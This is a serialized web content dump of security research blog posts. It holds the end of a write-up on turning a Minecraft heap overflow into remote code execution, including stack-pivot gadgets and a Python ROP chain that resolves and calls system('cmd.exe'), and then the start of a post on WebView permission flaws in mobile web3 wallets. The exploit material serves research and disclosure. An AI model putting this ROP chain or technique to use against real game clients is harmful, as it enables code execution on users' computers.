disassembly:",{"type":24,"tag":25,"props":160488,"children":160489},{},[160490],{"type":24,"tag":63,"props":160491,"children":160493},{"alt":56176,"src":160492},"/posts/minecraft-heap-overflow-to-rce/image15.png",[],{"type":24,"tag":25,"props":160495,"children":160496},{},[160497,160498,160503,160505,160510,160512,160517,160519,160524,160526,160531,160533,160538,160540,160545,160547,160553],{"type":29,"value":13105},{"type":24,"tag":80,"props":160499,"children":160501},{"className":160500},[],[160502],{"type":29,"value":160451},{"type":29,"value":160504}," is not ",{"type":24,"tag":80,"props":160506,"children":160508},{"className":160507},[],[160509],{"type":29,"value":5825},{"type":29,"value":160511},", it is called while ",{"type":24,"tag":80,"props":160513,"children":160515},{"className":160514},[],[160516],{"type":29,"value":62362},{"type":29,"value":160518}," still contains the value of ",{"type":24,"tag":80,"props":160520,"children":160522},{"className":160521},[],[160523],{"type":29,"value":160429},{"type":29,"value":160525}," - that is, a pointer to the structure in ",{"type":24,"tag":80,"props":160527,"children":160529},{"className":160528},[],[160530],{"type":29,"value":160198},{"type":29,"value":160532}," that we control. This is ideal, because we can overwrite ",{"type":24,"tag":80,"props":160534,"children":160536},{"className":160535},[],[160537],{"type":29,"value":160436},{"type":29,"value":160539}," with a pointer to a region in ",{"type":24,"tag":80,"props":160541,"children":160543},{"className":160542},[],[160544],{"type":29,"value":160198},{"type":29,"value":160546}," where our ROP chain is located, and then perform a stack pivot using a ",{"type":24,"tag":80,"props":160548,"children":160550},{"className":160549},[],[160551],{"type":29,"value":160552},"mov rsp, rax; ret",{"type":29,"value":160554},"-style gadget.",{"type":24,"tag":25,"props":160556,"children":160557},{},[160558,160560,160565,160567,160572],{"type":29,"value":160559},"Although we discovered that ",{"type":24,"tag":80,"props":160561,"children":160563},{"className":160562},[],[160564],{"type":29,"value":160394},{"type":29,"value":160566}," is never called by the Minecraft process, this did not turn out to be a problem as we had already found a way to trigger arbitrary function calls through the ",{"type":24,"tag":80,"props":160568,"children":160570},{"className":160569},[],[160571],{"type":29,"value":160370},{"type":29,"value":160573}," callbacks.",{"type":24,"tag":112,"props":160575,"children":160577},{"id":160576},"stack-pivot",[160578],{"type":29,"value":160579},"Stack Pivot",{"type":24,"tag":25,"props":160581,"children":160582},{},[160583,160585,160590,160592,160597,160599,160604,160606,160612],{"type":29,"value":160584},"At this point, the plan is as follows: write our ROP chain into a controlled region of ",{"type":24,"tag":80,"props":160586,"children":160588},{"className":160587},[],[160589],{"type":29,"value":160198},{"type":29,"value":160591},", overwrite ",{"type":24,"tag":80,"props":160593,"children":160595},{"className":160594},[],[160596],{"type":29,"value":160436},{"type":29,"value":160598}," to set up the stack pivot, and finally overwrite one of the callbacks so that calling it triggers ",{"type":24,"tag":80,"props":160600,"children":160602},{"className":160601},[],[160603],{"type":29,"value":160394},{"type":29,"value":160605},". This ultimately calls ",{"type":24,"tag":80,"props":160607,"children":160609},{"className":160608},[],[160610],{"type":29,"value":160611},"default_ec_key_meth->init",{"type":29,"value":160613},", which executes the pivot and begins ROP execution.",{"type":24,"tag":25,"props":160615,"children":160616},{},[160617,160619,160625,160627,160633],{"type":29,"value":160618},"We chose to overwrite the ",{"type":24,"tag":80,"props":160620,"children":160622},{"className":160621},[],[160623],{"type":29,"value":160624},"OPENSSL_free",{"type":29,"value":160626}," callback. This produces only a minor memory leak, while overwriting ",{"type":24,"tag":80,"props":160628,"children":160630},{"className":160629},[],[160631],{"type":29,"value":160632},"OPENSSL_malloc",{"type":29,"value":160634}," would require our replacement function to return a writable, unused memory region.",{"type":24,"tag":25,"props":160636,"children":160637},{},[160638,160640,160646,160647,160653,160655,160660],{"type":29,"value":160639},"For the stack pivot, we found two useful gadgets: ",{"type":24,"tag":80,"props":160641,"children":160643},{"className":160642},[],[160644],{"type":29,"value":160645},"add rsp, 0x10; pop r14; ret",{"type":29,"value":855},{"type":24,"tag":80,"props":160648,"children":160650},{"className":160649},[],[160651],{"type":29,"value":160652},"xchg rsp, rax; ret",{"type":29,"value":160654},". The exploit writes them into ",{"type":24,"tag":80,"props":160656,"children":160658},{"className":160657},[],[160659],{"type":29,"value":160198},{"type":29,"value":160661}," like this:",{"type":24,"tag":137,"props":160663,"children":160665},{"code":160664},"      +-----------------------------+\n+0x00 | add rsp, 0x10; pop r14; ret |\n      +-----------------------------+\n+0x08 | padding                     |\n      +-----------------------------+\n+0x10 | xchg rsp, rax; ret          |\n      +-----------------------------+\n+0x18 | padding (pop r14)           |\n      +-----------------------------+\n+0x20 | ROP Chain                   |\n      +-----------------------------+\n",[160666],{"type":24,"tag":80,"props":160667,"children":160668},{"__ignoreMap":7},[160669],{"type":29,"value":160664},{"type":24,"tag":25,"props":160671,"children":160672},{},[160673,160675,160680,160682,160687,160689,160694,160696,160701,160703,160708,160710,160715,160717,160722],{"type":29,"value":160674},"The second gadget, ",{"type":24,"tag":80,"props":160676,"children":160678},{"className":160677},[],[160679],{"type":29,"value":160652},{"type":29,"value":160681},", is placed in the slot corresponding to the ",{"type":24,"tag":80,"props":160683,"children":160685},{"className":160684},[],[160686],{"type":29,"value":26343},{"type":29,"value":160688}," function pointer. As mentioned earlier, when ",{"type":24,"tag":80,"props":160690,"children":160692},{"className":160691},[],[160693],{"type":29,"value":160451},{"type":29,"value":160695}," is called, ",{"type":24,"tag":80,"props":160697,"children":160699},{"className":160698},[],[160700],{"type":29,"value":62362},{"type":29,"value":160702}," contains a pointer to ",{"type":24,"tag":80,"props":160704,"children":160706},{"className":160705},[],[160707],{"type":29,"value":160436},{"type":29,"value":160709}," - which we have overwritten and now points to our ",{"type":24,"tag":80,"props":160711,"children":160713},{"className":160712},[],[160714],{"type":29,"value":160645},{"type":29,"value":160716}," gadget in ",{"type":24,"tag":80,"props":160718,"children":160720},{"className":160719},[],[160721],{"type":29,"value":160198},{"type":29,"value":87},{"type":24,"tag":25,"props":160724,"children":160725},{},[160726,160728,160734,160736,160741,160743,160749,160751,160756,160758,160763,160765,160770,160772,160777,160779,160784,160786,160791],{"type":29,"value":160727},"When the call occurs, ",{"type":24,"tag":80,"props":160729,"children":160731},{"className":160730},[],[160732],{"type":29,"value":160733},"xchg rsp, rax",{"type":29,"value":160735}," swaps the stack pointer with this controlled pointer inside ",{"type":24,"tag":80,"props":160737,"children":160739},{"className":160738},[],[160740],{"type":29,"value":160198},{"type":29,"value":160742},", effectively moving ",{"type":24,"tag":80,"props":160744,"children":160746},{"className":160745},[],[160747],{"type":29,"value":160748},"rsp",{"type":29,"value":160750}," into our ROP region. After the ",{"type":24,"tag":80,"props":160752,"children":160754},{"className":160753},[],[160755],{"type":29,"value":16609},{"type":29,"value":160757},", execution continues at ",{"type":24,"tag":80,"props":160759,"children":160761},{"className":160760},[],[160762],{"type":29,"value":160645},{"type":29,"value":160764},", which advances ",{"type":24,"tag":80,"props":160766,"children":160768},{"className":160767},[],[160769],{"type":29,"value":160748},{"type":29,"value":160771}," by ",{"type":24,"tag":80,"props":160773,"children":160775},{"className":160774},[],[160776],{"type":29,"value":50133},{"type":29,"value":160778}," bytes, skipping over the padding and the ",{"type":24,"tag":80,"props":160780,"children":160782},{"className":160781},[],[160783],{"type":29,"value":160652},{"type":29,"value":160785}," gadget. From there, the stack pivot is complete and the ROP chain (placed above ",{"type":24,"tag":80,"props":160787,"children":160789},{"className":160788},[],[160790],{"type":29,"value":160652},{"type":29,"value":160792},") begins executing.",{"type":24,"tag":43,"props":160794,"children":160796},{"id":160795},"rop-chain",[160797],{"type":29,"value":160798},"ROP Chain",{"type":24,"tag":25,"props":160800,"children":160801},{},[160802,160804,160810,160812,160817],{"type":29,"value":160803},"For the demo, the ROP chain simply calls ",{"type":24,"tag":80,"props":160805,"children":160807},{"className":160806},[],[160808],{"type":29,"value":160809},"system(\"cmd.exe\")",{"type":29,"value":160811},". Because Minecraft does not use ",{"type":24,"tag":80,"props":160813,"children":160815},{"className":160814},[],[160816],{"type":29,"value":8293},{"type":29,"value":160818},", the symbol is not imported, so the chain must resolve it dynamically.",{"type":24,"tag":25,"props":160820,"children":160821},{},[160822,160824,160830,160832,160838,160840,160845,160847,160853,160855,160860],{"type":29,"value":160823},"This is straightforward: the chain first calls ",{"type":24,"tag":80,"props":160825,"children":160827},{"className":160826},[],[160828],{"type":29,"value":160829},"GetModuleHandle(\"ucrtbase.dll\")",{"type":29,"value":160831}," to obtain the base address of ",{"type":24,"tag":80,"props":160833,"children":160835},{"className":160834},[],[160836],{"type":29,"value":160837},"ucrtbase.dll",{"type":29,"value":160839}," (which exports ",{"type":24,"tag":80,"props":160841,"children":160843},{"className":160842},[],[160844],{"type":29,"value":8293},{"type":29,"value":160846},"). It then calls ",{"type":24,"tag":80,"props":160848,"children":160850},{"className":160849},[],[160851],{"type":29,"value":160852},"GetProcAddress(ucrtbase_addr, \"system\")",{"type":29,"value":160854}," to retrieve the function’s address. Finally, it invokes ",{"type":24,"tag":80,"props":160856,"children":160858},{"className":160857},[],[160859],{"type":29,"value":8293},{"type":29,"value":160861}," with the \"cmd.exe\" string.",{"type":24,"tag":25,"props":160863,"children":160864},{},[160865],{"type":29,"value":160866},"In the exploit script, the ROP chain looks something like this:",{"type":24,"tag":137,"props":160868,"children":160870},{"code":160869,"language":25065,"meta":7,"className":25066,"style":7},"# get the address of `GetModuleHandle` to `rax`\nrop.gadget(pop_r8)\nrop.gadget(addr_get_module_handle_a - 0x28)\n# 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret\nrop.gadget(mov_rax_r8_28)\n\n# call `GetModuleHandle(\"ucrtbase.dll\")`\nrop.gadget(pop_rcx)\nrop.gadget(0x7468B68) # offset of \"ucrtbase.dll\" string\nrop.gadget(ret) # movaps alignment\nrop.gadget(push_rax_ret) # calls `GetModuleHandle`\nrop.literal(u64(b\"ucrtbase\"))\nrop.literal(u64(b\".dll\\x00\\x00\\x00\\x00\"))\nrop.literal(u64(b\"system\\x00\\x00\"))\n\n# call `GetProcAddress(ucrtbase_base, \"system\")`\nrop.gadget(xchg_rcx_rax) # move the return value of `GetModuleHandle` to rcx\nrop.gadget(pop_rdx)\nrop.gadget(0x7468B68 + 0x10) # offset of \"system\" string\nrop.gadget(get_proc_addr)\n\n# call `system(\"cmd.exe\")`\nrop.gadget(pop_rcx)\nrop.gadget(0x7468DB8) # offset of \"cmd.exe\" string\nrop.gadget(ret) # movaps alignment\nrop.gadget(push_rax_ret) # calls `system`\nrop.literal(u64(b\"cmd.exe\\x00\"))\n",[160871],{"type":24,"tag":80,"props":160872,"children":160873},{"__ignoreMap":7},[160874,160882,160890,160915,160923,160931,160938,160946,160954,160981,160994,161007,161028,161057,161086,161093,161101,161114,161122,161158,161166,161173,161181,161188,161213,161224,161236],{"type":24,"tag":147,"props":160875,"children":160876},{"class":149,"line":150},[160877],{"type":24,"tag":147,"props":160878,"children":160879},{"style":154},[160880],{"type":29,"value":160881},"# get the address of `GetModuleHandle` to `rax`\n",{"type":24,"tag":147,"props":160883,"children":160884},{"class":149,"line":160},[160885],{"type":24,"tag":147,"props":160886,"children":160887},{"style":235},[160888],{"type":29,"value":160889},"rop.gadget(pop_r8)\n",{"type":24,"tag":147,"props":160891,"children":160892},{"class":149,"line":169},[160893,160898,160902,160907,160911],{"type":24,"tag":147,"props":160894,"children":160895},{"style":235},[160896],{"type":29,"value":160897},"rop.gadget(addr_get_module_handle_a ",{"type":24,"tag":147,"props":160899,"children":160900},{"style":241},[160901],{"type":29,"value":3470},{"type":24,"tag":147,"props":160903,"children":160904},{"style":218},[160905],{"type":29,"value":160906}," 0x",{"type":24,"tag":147,"props":160908,"children":160909},{"style":705},[160910],{"type":29,"value":139658},{"type":24,"tag":147,"props":160912,"children":160913},{"style":235},[160914],{"type":29,"value":269},{"type":24,"tag":147,"props":160916,"children":160917},{"class":149,"line":178},[160918],{"type":24,"tag":147,"props":160919,"children":160920},{"style":154},[160921],{"type":29,"value":160922},"# 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret\n",{"type":24,"tag":147,"props":160924,"children":160925},{"class":149,"line":187},[160926],{"type":24,"tag":147,"props":160927,"children":160928},{"style":235},[160929],{"type":29,"value":160930},"rop.gadget(mov_rax_r8_28)\n",{"type":24,"tag":147,"props":160932,"children":160933},{"class":149,"line":196},[160934],{"type":24,"tag":147,"props":160935,"children":160936},{"emptyLinePlaceholder":16},[160937],{"type":29,"value":314},{"type":24,"tag":147,"props":160939,"children":160940},{"class":149,"line":205},[160941],{"type":24,"tag":147,"props":160942,"children":160943},{"style":154},[160944],{"type":29,"value":160945},"# call `GetModuleHandle(\"ucrtbase.dll\")`\n",{"type":24,"tag":147,"props":160947,"children":160948},{"class":149,"line":214},[160949],{"type":24,"tag":147,"props":160950,"children":160951},{"style":235},[160952],{"type":29,"value":160953},"rop.gadget(pop_rcx)\n",{"type":24,"tag":147,"props":160955,"children":160956},{"class":149,"line":272},[160957,160962,160967,160972,160976],{"type":24,"tag":147,"props":160958,"children":160959},{"style":235},[160960],{"type":29,"value":160961},"rop.gadget(",{"type":24,"tag":147,"props":160963,"children":160964},{"style":218},[160965],{"type":29,"value":160966},"0x",{"type":24,"tag":147,"props":160968,"children":160969},{"style":705},[160970],{"type":29,"value":160971},"7468B68",{"type":24,"tag":147,"props":160973,"children":160974},{"style":235},[160975],{"type":29,"value":564},{"type":24,"tag":147,"props":160977,"children":160978},{"style":154},[160979],{"type":29,"value":160980},"# offset of \"ucrtbase.dll\" string\n",{"type":24,"tag":147,"props":160982,"children":160983},{"class":149,"line":281},[160984,160989],{"type":24,"tag":147,"props":160985,"children":160986},{"style":235},[160987],{"type":29,"value":160988},"rop.gadget(ret) ",{"type":24,"tag":147,"props":160990,"children":160991},{"style":154},[160992],{"type":29,"value":160993},"# movaps alignment\n",{"type":24,"tag":147,"props":160995,"children":160996},{"class":149,"line":299},[160997,161002],{"type":24,"tag":147,"props":160998,"children":160999},{"style":235},[161000],{"type":29,"value":161001},"rop.gadget(push_rax_ret) ",{"type":24,"tag":147,"props":161003,"children":161004},{"style":154},[161005],{"type":29,"value":161006},"# calls `GetModuleHandle`\n",{"type":24,"tag":147,"props":161008,"children":161009},{"class":149,"line":308},[161010,161015,161019,161024],{"type":24,"tag":147,"props":161011,"children":161012},{"style":235},[161013],{"type":29,"value":161014},"rop.literal(u64(",{"type":24,"tag":147,"props":161016,"children":161017},{"style":218},[161018],{"type":29,"value":8852},{"type":24,"tag":147,"props":161020,"children":161021},{"style":3534},[161022],{"type":29,"value":161023},"\"ucrtbase\"",{"type":24,"tag":147,"props":161025,"children":161026},{"style":235},[161027],{"type":29,"value":3519},{"type":24,"tag":147,"props":161029,"children":161030},{"class":149,"line":317},[161031,161035,161039,161044,161049,161053],{"type":24,"tag":147,"props":161032,"children":161033},{"style":235},[161034],{"type":29,"value":161014},{"type":24,"tag":147,"props":161036,"children":161037},{"style":218},[161038],{"type":29,"value":8852},{"type":24,"tag":147,"props":161040,"children":161041},{"style":3534},[161042],{"type":29,"value":161043},"\".dll",{"type":24,"tag":147,"props":161045,"children":161046},{"style":53972},[161047],{"type":29,"value":161048},"\\x00\\x00\\x00\\x00",{"type":24,"tag":147,"props":161050,"children":161051},{"style":3534},[161052],{"type":29,"value":25663},{"type":24,"tag":147,"props":161054,"children":161055},{"style":235},[161056],{"type":29,"value":3519},{"type":24,"tag":147,"props":161058,"children":161059},{"class":149,"line":332},[161060,161064,161068,161073,161078,161082],{"type":24,"tag":147,"props":161061,"children":161062},{"style":235},[161063],{"type":29,"value":161014},{"type":24,"tag":147,"props":161065,"children":161066},{"style":218},[161067],{"type":29,"value":8852},{"type":24,"tag":147,"props":161069,"children":161070},{"style":3534},[161071],{"type":29,"value":161072},"\"system",{"type":24,"tag":147,"props":161074,"children":161075},{"style":53972},[161076],{"type":29,"value":161077},"\\x00\\x00",{"type":24,"tag":147,"props":161079,"children":161080},{"style":3534},[161081],{"type":29,"value":25663},{"type":24,"tag":147,"props":161083,"children":161084},{"style":235},[161085],{"type":29,"value":3519},{"type":24,"tag":147,"props":161087,"children":161088},{"class":149,"line":350},[161089],{"type":24,"tag":147,"props":161090,"children":161091},{"emptyLinePlaceholder":16},[161092],{"type":29,"value":314},{"type":24,"tag":147,"props":161094,"children":161095},{"class":149,"line":358},[161096],{"type":24,"tag":147,"props":161097,"children":161098},{"style":154},[161099],{"type":29,"value":161100},"# call `GetProcAddress(ucrtbase_base, \"system\")`\n",{"type":24,"tag":147,"props":161102,"children":161103},{"class":149,"line":397},[161104,161109],{"type":24,"tag":147,"props":161105,"children":161106},{"style":235},[161107],{"type":29,"value":161108},"rop.gadget(xchg_rcx_rax) ",{"type":24,"tag":147,"props":161110,"children":161111},{"style":154},[161112],{"type":29,"value":161113},"# move the return value of `GetModuleHandle` to rcx\n",{"type":24,"tag":147,"props":161115,"children":161116},{"class":149,"line":421},[161117],{"type":24,"tag":147,"props":161118,"children":161119},{"style":235},[161120],{"type":29,"value":161121},"rop.gadget(pop_rdx)\n",{"type":24,"tag":147,"props":161123,"children":161124},{"class":149,"line":435},[161125,161129,161133,161137,161141,161145,161149,161153],{"type":24,"tag":147,"props":161126,"children":161127},{"style":235},[161128],{"type":29,"value":160961},{"type":24,"tag":147,"props":161130,"children":161131},{"style":218},[161132],{"type":29,"value":160966},{"type":24,"tag":147,"props":161134,"children":161135},{"style":705},[161136],{"type":29,"value":160971},{"type":24,"tag":147,"props":161138,"children":161139},{"style":241},[161140],{"type":29,"value":1734},{"type":24,"tag":147,"props":161142,"children":161143},{"style":218},[161144],{"type":29,"value":160906},{"type":24,"tag":147,"props":161146,"children":161147},{"style":705},[161148],{"type":29,"value":94836},{"type":24,"tag":147,"props":161150,"children":161151},{"style":235},[161152],{"type":29,"value":564},{"type":24,"tag":147,"props":161154,"children":161155},{"style":154},[161156],{"type":29,"value":161157},"# offset of \"system\" string\n",{"type":24,"tag":147,"props":161159,"children":161160},{"class":149,"line":444},[161161],{"type":24,"tag":147,"props":161162,"children":161163},{"style":235},[161164],{"type":29,"value":161165},"rop.gadget(get_proc_addr)\n",{"type":24,"tag":147,"props":161167,"children":161168},{"class":149,"line":452},[161169],{"type":24,"tag":147,"props":161170,"children":161171},{"emptyLinePlaceholder":16},[161172],{"type":29,"value":314},{"type":24,"tag":147,"props":161174,"children":161175},{"class":149,"line":461},[161176],{"type":24,"tag":147,"props":161177,"children":161178},{"style":154},[161179],{"type":29,"value":161180},"# call `system(\"cmd.exe\")`\n",{"type":24,"tag":147,"props":161182,"children":161183},{"class":149,"line":469},[161184],{"type":24,"tag":147,"props":161185,"children":161186},{"style":235},[161187],{"type":29,"value":160953},{"type":24,"tag":147,"props":161189,"children":161190},{"class":149,"line":508},[161191,161195,161199,161204,161208],{"type":24,"tag":147,"props":161192,"children":161193},{"style":235},[161194],{"type":29,"value":160961},{"type":24,"tag":147,"props":161196,"children":161197},{"style":218},[161198],{"type":29,"value":160966},{"type":24,"tag":147,"props":161200,"children":161201},{"style":705},[161202],{"type":29,"value":161203},"7468DB8",{"type":24,"tag":147,"props":161205,"children":161206},{"style":235},[161207],{"type":29,"value":564},{"type":24,"tag":147,"props":161209,"children":161210},{"style":154},[161211],{"type":29,"value":161212},"# offset of \"cmd.exe\" string\n",{"type":24,"tag":147,"props":161214,"children":161215},{"class":149,"line":572},[161216,161220],{"type":24,"tag":147,"props":161217,"children":161218},{"style":235},[161219],{"type":29,"value":160988},{"type":24,"tag":147,"props":161221,"children":161222},{"style":154},[161223],{"type":29,"value":160993},{"type":24,"tag":147,"props":161225,"children":161226},{"class":149,"line":591},[161227,161231],{"type":24,"tag":147,"props":161228,"children":161229},{"style":235},[161230],{"type":29,"value":161001},{"type":24,"tag":147,"props":161232,"children":161233},{"style":154},[161234],{"type":29,"value":161235},"# calls `system`\n",{"type":24,"tag":147,"props":161237,"children":161238},{"class":149,"line":632},[161239,161243,161247,161252,161257,161261],{"type":24,"tag":147,"props":161240,"children":161241},{"style":235},[161242],{"type":29,"value":161014},{"type":24,"tag":147,"props":161244,"children":161245},{"style":218},[161246],{"type":29,"value":8852},{"type":24,"tag":147,"props":161248,"children":161249},{"style":3534},[161250],{"type":29,"value":161251},"\"cmd.exe",{"type":24,"tag":147,"props":161253,"children":161254},{"style":53972},[161255],{"type":29,"value":161256},"\\x00",{"type":24,"tag":147,"props":161258,"children":161259},{"style":3534},[161260],{"type":29,"value":25663},{"type":24,"tag":147,"props":161262,"children":161263},{"style":235},[161264],{"type":29,"value":3519},{"type":24,"tag":43,"props":161266,"children":161268},{"id":161267},"demo",[161269],{"type":29,"value":161270},"Demo",{"type":24,"tag":25,"props":161272,"children":161273},{},[161274],{"type":29,"value":161275},"The demo video below shows a Molang script achieving arbitrary read and write primitives to execute the previous ROP chain:",{"type":24,"tag":8400,"props":161277,"children":161280},{"className":161278,"controls":16},[146614,161279],"blog-video-wide",[161281,161282,161286],{"type":29,"value":146617},{"type":24,"tag":145853,"props":161283,"children":161285},{"src":161284,"type":8398},"/posts/minecraft-heap-overflow-to-rce/demo.mp4",[],{"type":29,"value":146623},{"type":24,"tag":32,"props":161288,"children":161289},{"id":8458},[161290],{"type":29,"value":8461},{"type":24,"tag":25,"props":161292,"children":161293},{},[161294],{"type":29,"value":161295},"This blog post is quite long, which reflects how modern mitigations make remote exploitation highly cumbersome - but still not impossible.",{"type":24,"tag":25,"props":161297,"children":161298},{},[161299],{"type":29,"value":161300},"It also demonstrates an interesting technique of abusing Molang to achieve RCE without relying on client information leaks.",{"type":24,"tag":25,"props":161302,"children":161303},{},[161304],{"type":29,"value":161305},"Finally, it highlights an underexplored area in security: video games. Even massively popular games like Minecraft contain large, complex, and unexplored attack surfaces.",{"type":24,"tag":8473,"props":161307,"children":161308},{},[161309],{"type":29,"value":8477},{"title":7,"searchDepth":160,"depth":160,"links":161311},[161312,161316,161321,161332],{"id":151972,"depth":160,"text":151975,"children":161313},[161314,161315],{"id":152007,"depth":169,"text":152010},{"id":152023,"depth":169,"text":152026},{"id":152044,"depth":160,"text":152047,"children":161317},[161318,161319,161320],{"id":152060,"depth":169,"text":152063},{"id":152148,"depth":169,"text":152151},{"id":154448,"depth":169,"text":154451},{"id":11044,"depth":160,"text":11047,"children":161322},[161323,161324,161325,161326,161327,161328,161329,161330,161331],{"id":154555,"depth":169,"text":154558},{"id":154580,"depth":169,"text":154583},{"id":154717,"depth":169,"text":154720},{"id":156881,"depth":169,"text":156884},{"id":157243,"depth":169,"text":157246},{"id":158063,"depth":169,"text":158066},{"id":160177,"depth":169,"text":160180},{"id":160795,"depth":169,"text":160798},{"id":161267,"depth":169,"text":161270},{"id":8458,"depth":160,"text":8461},"content:blog:2026-06-02-minecraft-heap-overflow-to-rce.md","blog/2026-06-02-minecraft-heap-overflow-to-rce.md","blog/2026-06-02-minecraft-heap-overflow-to-rce",{"_path":161337,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":161338,"description":161339,"date":161340,"author":161341,"image":161343,"isFeatured":16,"onBlogPage":16,"tags":161345,"body":161347,"_type":8496,"_id":163670,"_source":8498,"_file":163671,"_stem":163672,"_extension":8501},"/blog/2026-06-18-goldmine-of-insecure-webview-integrations","The Goldmine of Insecure WebView Integrations","WebViews in mobile web3 wallets can quietly inherit the permissions granted to the wallet app itself. We found 20+ major wallets where a malicious dApp could access core permissions without authorization.","2026-06-18T12:00:00.000Z",[36802,36801,161342],"nikolaos",{"src":161344,"width":14,"height":15},"/posts/insecure-webview-integrations/title.png",[37741,136753,161346],"webview",{"type":21,"children":161348,"toc":163657},[161349,161354,161359,161365,161370,161375,161380,161386,161391,161397,161419,161432,161452,161466,161472,161486,161494,161499,161505,161510,161519,161540,161684,161689,161695,161700,161705,161719,161723,161728,161746,163174,163178,163183,163195,163204,163209,163215,163237,163245,163250,163256,163261,163279,163284,163290,163303,163585,163613,163626,163631,163644,163648,163653],{"type":24,"tag":25,"props":161350,"children":161351},{},[161352],{"type":29,"value":161353},"WebViews are everywhere in mobile web3 wallets, but they are often treated as just a convenient way to load dApps. In reality, they can quietly inherit powerful app capabilities that attackers can exploit.",{"type":24,"tag":25,"props":161355,"children":161356},{},[161357],{"type":29,"value":161358},"In this article, we look at several WebView issues we found across wallet apps and libraries, including some issues in React Native.",{"type":24,"tag":40973,"props":161360,"children":161362},{"id":161361},"exploiting-mobile-webviews",[161363],{"type":29,"value":161364},"Exploiting Mobile WebViews",{"type":24,"tag":25,"props":161366,"children":161367},{},[161368],{"type":29,"value":161369},"A well known feature of most web3 wallets is the ability to interact with decentralized applications, often referred to as dApps.",{"type":24,"tag":25,"props":161371,"children":161372},{},[161373],{"type":29,"value":161374},"For a wallet application to be compatible with various dApps, it must support a message exchange system between the dApp webpage and the underlying wallet. On both Android and iOS, this is often achieved by loading the webpage inside a WebView component.",{"type":24,"tag":25,"props":161376,"children":161377},{},[161378],{"type":29,"value":161379},"Since dApps are such a widely supported feature, our main research goal was to uncover lesser known vulnerabilities affecting most - if not all - WebView implementations. One issue we repeatedly encountered is related to how React Native WebView handles permission requests. In order to understand these vulnerabilities and how they can be exploited, we first need to dig into how iOS and Android WebViews actually work.",{"type":24,"tag":32,"props":161381,"children":161383},{"id":161382},"handling-webview-permissions",[161384],{"type":29,"value":161385},"Handling WebView permissions",{"type":24,"tag":25,"props":161387,"children":161388},{},[161389],{"type":29,"value":161390},"In this section, we'll get into the inner workings of permission requests and how they are handled on Android compared to iOS.",{"type":24,"tag":43,"props":161392,"children":161394},{"id":161393},"android",[161395],{"type":29,"value":161396},"Android",{"type":24,"tag":25,"props":161398,"children":161399},{},[161400,161402,161409,161411,161417],{"type":29,"value":161401},"If we take a look at the Android documentation, the method responsible for granting or denying permission requests is ",{"type":24,"tag":2773,"props":161403,"children":161406},{"href":161404,"rel":161405},"https://developer.android.com/reference/android/webkit/WebChromeClient#onPermissionRequest(android.webkit.PermissionRequest)",[2777],[161407],{"type":29,"value":161408},"onPermissionRequest",{"type":29,"value":161410},". When a new permission request is triggered by a webpage, this method is called with a ",{"type":24,"tag":80,"props":161412,"children":161414},{"className":161413},[],[161415],{"type":29,"value":161416},"PermissionRequest",{"type":29,"value":161418}," object where the WebView developers must decide whether to grant or deny it.",{"type":24,"tag":98,"props":161420,"children":161421},{},[161422],{"type":24,"tag":25,"props":161423,"children":161424},{},[161425,161427,161430],{"type":29,"value":161426},"Notify the host application that web content is requesting permission to access the specified resources and the permission currently isn't granted or denied. The host application must invoke PermissionRequest.grant(String",{"type":24,"tag":147,"props":161428,"children":161429},{},[],{"type":29,"value":161431},") or PermissionRequest.deny(). If this method isn't overridden, the permission is denied.",{"type":24,"tag":25,"props":161433,"children":161434},{},[161435,161437,161443,161445,161451],{"type":29,"value":161436},"This object contains all the necessary information to evaluate the request, such as the webpage origin with ",{"type":24,"tag":80,"props":161438,"children":161440},{"className":161439},[],[161441],{"type":29,"value":161442},"getOrigin()",{"type":29,"value":161444}," and the requested permissions with ",{"type":24,"tag":80,"props":161446,"children":161448},{"className":161447},[],[161449],{"type":29,"value":161450},"getResources()",{"type":29,"value":87},{"type":24,"tag":25,"props":161453,"children":161454},{},[161455,161457,161464],{"type":29,"value":161456},"If we read the previous Android documentation carefully, we will see that any permission requests are denied by default. For this reason, most WebView wrappers opt to enable permission granting by overwriting this method, such as the official ",{"type":24,"tag":2773,"props":161458,"children":161461},{"href":161459,"rel":161460},"https://chromium.googlesource.com/chromium/src/+/HEAD/android_webview/tools/system_webview_shell/apk/src/org/chromium/webview_shell/WebViewBrowserFragment.java#644",[2777],[161462],{"type":29,"value":161463},"webview_shell",{"type":29,"value":161465},". In this instance, no origin checks are performed.",{"type":24,"tag":43,"props":161467,"children":161469},{"id":161468},"ios",[161470],{"type":29,"value":161471},"iOS",{"type":24,"tag":25,"props":161473,"children":161474},{},[161475,161477,161484],{"type":29,"value":161476},"On the contrary, iOS ",{"type":24,"tag":2773,"props":161478,"children":161481},{"href":161479,"rel":161480},"https://developer.apple.com/documentation/webkit/wkuidelegate/webview(_:requestmediacapturepermissionfor:initiatedbyframe:type:decisionhandler:)?language=objc",[2777],[161482],{"type":29,"value":161483},"documentation",{"type":29,"value":161485}," states that:",{"type":24,"tag":98,"props":161487,"children":161488},{},[161489],{"type":24,"tag":25,"props":161490,"children":161491},{},[161492],{"type":29,"value":161493},"If you don’t implement this method in your delegate, the system returns WKPermissionDecisionPrompt.",{"type":24,"tag":25,"props":161495,"children":161496},{},[161497],{"type":29,"value":161498},"This effectively means that by default, iOS determines whether a webpage (bound by its security origin) can access any permission using a prompt message. In this way, origin isolation for permission requests on iOS apps is enforced by default.",{"type":24,"tag":32,"props":161500,"children":161502},{"id":161501},"the-shortcomings-of-webview-implementations",[161503],{"type":29,"value":161504},"The shortcomings of WebView implementations",{"type":24,"tag":25,"props":161506,"children":161507},{},[161508],{"type":29,"value":161509},"Most web3 mobile wallets have an in-app feature that allows users to scan QR codes for a more user-friendly transaction experience. However, to use this feature, the user must grant the app permission to access the camera. Since this is a powerful permission, a pop-up will appear.",{"type":24,"tag":36947,"props":161511,"children":161512},{"style":36949},[161513],{"type":24,"tag":63,"props":161514,"children":161518},{"src":161515,"alt":161516,"style":161517},"/posts/insecure-webview-integrations/image1.png","Camera permission prompt","max-height:360px; width:auto; max-width:100%;",[],{"type":24,"tag":25,"props":161520,"children":161521},{},[161522,161524,161530,161532,161538],{"type":29,"value":161523},"Since most wallets are based on React Native, the most commonly used WebView implementation is ",{"type":24,"tag":80,"props":161525,"children":161527},{"className":161526},[],[161528],{"type":29,"value":161529},"react-native-webview",{"type":29,"value":161531},". If we take a look at how they handle a request that reaches the 